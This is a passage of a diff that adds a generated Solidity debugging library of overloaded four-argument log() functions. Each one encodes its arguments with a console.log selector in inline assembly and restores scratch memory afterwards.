+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,bool,bool)`.
+            mstore(0x00, 0xba535d9c)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,bool,uint256)`.
+            mstore(0x00, 0xcf009880)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,string,bool,string)`.
+            mstore(0x00, 0xd2d423cd)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,uint256,address)`.
+            mstore(0x00, 0x3b2279b4)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,uint256,bool)`.
+            mstore(0x00, 0x691a8f74)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,uint256,uint256)`.
+            mstore(0x00, 0x82c25b74)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,string,uint256,string)`.
+            mstore(0x00, 0xb7b914ca)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,string,string,address)`.
+            mstore(0x00, 0xd583c602)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,string,string,bool)`.
+            mstore(0x00, 0xb3a6b6bd)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,string,string,uint256)`.
+            mstore(0x00, 0xb028c9bd)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(uint256,string,string,string)`.
+            mstore(0x00, 0x21ad0683)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, address p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,address,address)`.
+            mstore(0x00, 0xed8f28f6)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,address,bool)`.
+            mstore(0x00, 0xb59dbd60)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,address,uint256)`.
+            mstore(0x00, 0x8ef3f399)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,address,address,string)`.
+            mstore(0x00, 0x800a1c67)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,bool,address)`.
+            mstore(0x00, 0x223603bd)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,bool,bool)`.
+            mstore(0x00, 0x79884c2b)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,bool,uint256)`.
+            mstore(0x00, 0x3e9f866a)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,address,bool,string)`.
+            mstore(0x00, 0x0454c079)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, address p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,uint256,address)`.
+            mstore(0x00, 0x63fb8bc5)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,uint256,bool)`.
+            mstore(0x00, 0xfc4845f0)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,uint256,uint256)`.
+            mstore(0x00, 0xf8f51b1e)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, uint256 p2, bytes32 p3) internal pure {
